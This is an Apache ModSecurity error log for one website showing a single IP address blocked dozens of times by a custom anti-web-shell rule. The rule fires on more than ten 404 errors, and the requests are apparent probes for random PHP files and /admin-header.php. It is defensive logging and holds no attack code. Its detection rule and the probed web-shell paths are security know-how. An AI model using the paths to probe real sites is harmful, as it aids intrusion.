[Tue Dec 16 17:03:36.008684 2025] [:error] [pid 18324:tid 18397] [client 4.189.124.35:54526] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qsntqiho.php"] [unique_id "aUEgaKG4um2mD1VpJHJ2iAAAAJE"]
[Tue Dec 16 17:03:40.128288 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:58894] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qsntqiho.php"] [unique_id "aUEgbJsCeWBjrw28XtzmpgAAAA4"]
[Tue Dec 16 17:03:43.884251 2025] [:error] [pid 18322:tid 18339] [client 4.189.124.35:54525] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qsntqiho.php"] [unique_id "aUEgb5sCeWBjrw28XtzmqgAAAA0"]
[Tue Dec 16 17:03:46.761820 2025] [:error] [pid 18322:tid 18341] [client 4.189.124.35:63543] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qsntqiho.php"] [unique_id "aUEgcpsCeWBjrw28XtzmsQAAAA8"]
[Tue Dec 16 17:03:48.168717 2025] [:error] [pid 53940:tid 53954] [client 4.189.124.35:58888] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qjaqjahu.php"] [unique_id "aUEgdF91PNbcXLVkpR7M4QAAAcs"]
[Tue Dec 16 17:03:50.384062 2025] [:error] [pid 18408:tid 18423] [client 4.189.124.35:54481] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qjaqjahu.php"] [unique_id "aUEgdji2Gr8pDzjrVBDt_gAAAM0"]
[Tue Dec 16 17:03:55.410413 2025] [:error] [pid 18324:tid 18394] [client 4.189.124.35:56618] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qjaqjahu.php"] [unique_id "aUEge6G4um2mD1VpJHJ2ngAAAI4"]
[Tue Dec 16 17:03:55.979938 2025] [:error] [pid 18323:tid 18373] [client 4.189.124.35:59525] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qjaqjahu.php"] [unique_id "aUEgezJB6UFxIutsA8YMzwAAAFQ"]
[Tue Dec 16 17:03:57.628612 2025] [:error] [pid 18323:tid 18357] [client 4.189.124.35:17042] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aUEgfTJB6UFxIutsA8YM0gAAAEQ"]
[Tue Dec 16 17:04:06.188638 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:16709] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aUEghq7zKCVJSuwV1xZzKQAAARc"]
[Tue Dec 16 17:04:09.640401 2025] [:error] [pid 12330:tid 12357] [client 4.189.124.35:59523] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aUEgiV6iIQEVCIh8V1lX8QAAAZc"]
[Tue Dec 16 17:04:12.050829 2025] [:error] [pid 51991:tid 52009] [client 4.189.124.35:59574] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qhLaGswd9DS.php"] [unique_id "aUEgjK7zKCVJSuwV1xZzNQAAARA"]
[Tue Dec 16 17:04:14.629962 2025] [:error] [pid 18323:tid 18371] [client 4.189.124.35:54961] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUEgjjJB6UFxIutsA8YM4gAAAFI"]
[Tue Dec 16 17:04:15.895401 2025] [:error] [pid 18322:tid 18329] [client 4.189.124.35:10136] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUEgj5sCeWBjrw28XtzmxwAAAAM"]
[Tue Dec 16 17:04:17.723471 2025] [:error] [pid 51991:tid 52000] [client 4.189.124.35:54949] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUEgka7zKCVJSuwV1xZzPAAAAQc"]
[Tue Dec 16 17:04:20.403608 2025] [:error] [pid 51991:tid 51996] [client 4.189.124.35:54923] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUEglK7zKCVJSuwV1xZzPwAAAQM"]
[Tue Dec 16 17:04:21.467933 2025] [:error] [pid 18323:tid 18358] [client 4.189.124.35:59542] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aUEglTJB6UFxIutsA8YM6QAAAEU"]
[Tue Dec 16 17:04:33.137397 2025] [:error] [pid 18324:tid 18400] [client 4.189.124.35:17033] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUEgoaG4um2mD1VpJHJ2zAAAAJQ"]
[Tue Dec 16 17:04:35.186191 2025] [:error] [pid 18322:tid 18350] [client 4.189.124.35:16747] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUEgo5sCeWBjrw28Xtzm3gAAABg"]
[Tue Dec 16 17:04:36.979351 2025] [:error] [pid 35998:tid 36004] [client 4.189.124.35:54971] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUEgpBKnhGuuhGxBSLOTfwAAAUM"]
[Tue Dec 16 17:04:40.203639 2025] [:error] [pid 18408:tid 18430] [client 4.189.124.35:16756] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUEgqDi2Gr8pDzjrVBDuMgAAANQ"]
[Tue Dec 16 17:04:41.325764 2025] [:error] [pid 12330:tid 12352] [client 4.189.124.35:16732] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUEgqV6iIQEVCIh8V1lYCwAAAZI"]
[Tue Dec 16 17:04:43.230537 2025] [:error] [pid 53940:tid 53943] [client 4.189.124.35:59581] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUEgq191PNbcXLVkpR7NEgAAAcA"]
[Tue Dec 16 17:04:44.537262 2025] [:error] [pid 18322:tid 18343] [client 4.189.124.35:54966] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUEgrJsCeWBjrw28Xtzm6QAAABE"]
[Tue Dec 16 17:04:45.290908 2025] [:error] [pid 18323:tid 18369] [client 4.189.124.35:59563] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUEgrTJB6UFxIutsA8YNBAAAAFA"]
[Tue Dec 16 17:04:47.280496 2025] [:error] [pid 51991:tid 52005] [client 4.189.124.35:16728] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUEgr67zKCVJSuwV1xZzVwAAAQw"]
[Tue Dec 16 17:04:49.500904 2025] [:error] [pid 18408:tid 18410] [client 4.189.124.35:10153] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUEgsTi2Gr8pDzjrVBDuOAAAAMA"]
[Tue Dec 16 17:04:51.589804 2025] [:error] [pid 53940:tid 53955] [client 4.189.124.35:54931] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUEgs191PNbcXLVkpR7NFQAAAcw"]
[Tue Dec 16 17:04:53.219529 2025] [:error] [pid 18408:tid 18411] [client 4.189.124.35:10161] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUEgtTi2Gr8pDzjrVBDuPQAAAME"]
[Tue Dec 16 17:04:58.287413 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:59543] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUEgupsCeWBjrw28Xtzm7wAAAA4"]
[Tue Dec 16 17:05:01.590795 2025] [:error] [pid 18408:tid 18428] [client 4.189.124.35:59554] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUEgvTi2Gr8pDzjrVBDuRAAAANI"]
[Tue Dec 16 17:05:03.754219 2025] [:error] [pid 53940:tid 53958] [client 4.189.124.35:54967] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUEgv191PNbcXLVkpR7NHwAAAc8"]
[Tue Dec 16 17:05:06.892884 2025] [:error] [pid 53940:tid 53961] [client 4.189.124.35:17083] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUEgwl91PNbcXLVkpR7NIQAAAdI"]
[Tue Dec 16 17:05:11.787480 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:16743] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUEgx67zKCVJSuwV1xZzcgAAARc"]
[Tue Dec 16 17:05:14.871111 2025] [:error] [pid 18408:tid 18411] [client 4.189.124.35:54489] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUEgyji2Gr8pDzjrVBDuVgAAAME"]
[Tue Dec 16 17:05:19.629966 2025] [:error] [pid 18322:tid 18330] [client 4.189.124.35:16740] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUEgz5sCeWBjrw28Xtzm_QAAAAQ"]
[Tue Dec 16 17:05:23.839103 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:54962] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUEg067zKCVJSuwV1xZzkAAAARc"]
[Tue Dec 16 17:05:26.243415 2025] [:error] [pid 18322:tid 18350] [client 4.189.124.35:54920] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUEg1psCeWBjrw28XtznAgAAABg"]
[Tue Dec 16 17:05:29.064985 2025] [:error] [pid 12330:tid 12342] [client 4.189.124.35:16712] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUEg2V6iIQEVCIh8V1lYNQAAAYg"]
[Tue Dec 16 17:05:31.714076 2025] [:error] [pid 18324:tid 18399] [client 4.189.124.35:10174] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUEg26G4um2mD1VpJHJ3EQAAAJM"]
[Tue Dec 16 17:05:47.773626 2025] [:error] [pid 12330:tid 12346] [client 4.189.124.35:10175] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aUEg616iIQEVCIh8V1lYUQAAAYw"]
[Tue Dec 16 17:05:48.691210 2025] [:error] [pid 53940:tid 53950] [client 4.189.124.35:54943] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aUEg7F91PNbcXLVkpR7NUwAAAcc"]
[Tue Dec 16 17:05:49.507847 2025] [:error] [pid 12330:tid 12338] [client 4.189.124.35:59531] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aUEg7V6iIQEVCIh8V1lYUgAAAYQ"]
[Tue Dec 16 17:05:50.366009 2025] [:error] [pid 12330:tid 12355] [client 4.189.124.35:56628] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "aUEg7l6iIQEVCIh8V1lYVAAAAZU"]
[Tue Dec 16 17:05:51.362822 2025] [:error] [pid 18324:tid 18380] [client 4.189.124.35:17051] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aUEg76G4um2mD1VpJHJ3MAAAAIA"]
[Tue Dec 16 17:05:53.628701 2025] [:error] [pid 18322:tid 18339] [client 4.189.124.35:10140] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aUEg8ZsCeWBjrw28XtzndQAAAA0"]
[Tue Dec 16 17:05:56.772596 2025] [:error] [pid 12330:tid 12336] [client 4.189.124.35:16761] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aUEg9F6iIQEVCIh8V1lYWQAAAYI"]
[Tue Dec 16 17:05:57.997036 2025] [:error] [pid 18322:tid 18350] [client 4.189.124.35:56601] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xg5Bv6XIUw.php"] [unique_id "aUEg9ZsCeWBjrw28XtznewAAABg"]
[Tue Dec 16 17:05:59.790392 2025] [:error] [pid 18408:tid 18419] [client 4.189.124.35:59538] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUEg9zi2Gr8pDzjrVBDujAAAAMk"]
[Tue Dec 16 17:06:03.848663 2025] [:error] [pid 51991:tid 52007] [client 4.189.124.35:17025] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUEg-67zKCVJSuwV1xZz7QAAAQ4"]
[Tue Dec 16 17:06:09.131545 2025] [:error] [pid 53940:tid 53962] [client 4.189.124.35:54924] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-header.php"] [unique_id "aUEhAV91PNbcXLVkpR7NaAAAAdM"]
[Tue Dec 16 17:06:17.308818 2025] [:error] [pid 12330:tid 12355] [client 4.189.124.35:10169] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aUEhCV6iIQEVCIh8V1lYcwAAAZU"]
[Tue Dec 16 17:06:17.925683 2025] [:error] [pid 53940:tid 53949] [client 4.189.124.35:16751] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aUEhCV91PNbcXLVkpR7NcwAAAcY"]
[Tue Dec 16 17:06:19.874001 2025] [:error] [pid 18408:tid 18410] [client 4.189.124.35:54932] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aUEhCzi2Gr8pDzjrVBDupwAAAMA"]
[Tue Dec 16 17:06:22.077153 2025] [:error] [pid 12330:tid 12341] [client 4.189.124.35:59571] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aUEhDl6iIQEVCIh8V1lYegAAAYc"]
